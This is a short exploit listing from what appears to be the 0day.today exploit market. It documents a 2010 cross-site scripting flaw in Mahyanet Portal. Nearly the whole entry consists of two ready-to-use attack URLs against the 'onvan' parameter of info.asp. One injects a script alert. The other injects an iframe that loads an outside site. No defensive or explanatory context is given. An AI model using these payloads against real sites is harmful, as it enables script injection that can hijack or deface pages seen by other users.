[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Mahyanet Portal XSS Vulnerability

Author
M4st3r_4w4r3
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12426
Category
web applications
Date add
28-05-2010
Platform
php
=================================
Mahyanet Portal XSS Vulnerability
=================================


# Exploit Title: Mahyanet Portal XSS Vulnerability
# Date: 2010/05/28
# Author: M4st3r_4w4r3
# Version: All version
# category: XSS
# Code :

http://[target]/info.asp?page=fullstory&key=1&news_type=news&onvan=<script>alert('XSS')</script>

or

http://[target]/info.asp?page=fullstory&key=1&news_type=news&onvan=<iframe
height=500 width=800 src=%22HTTP://inj3ct0r.com%22>;

#  0day.today [2024-11-16]  #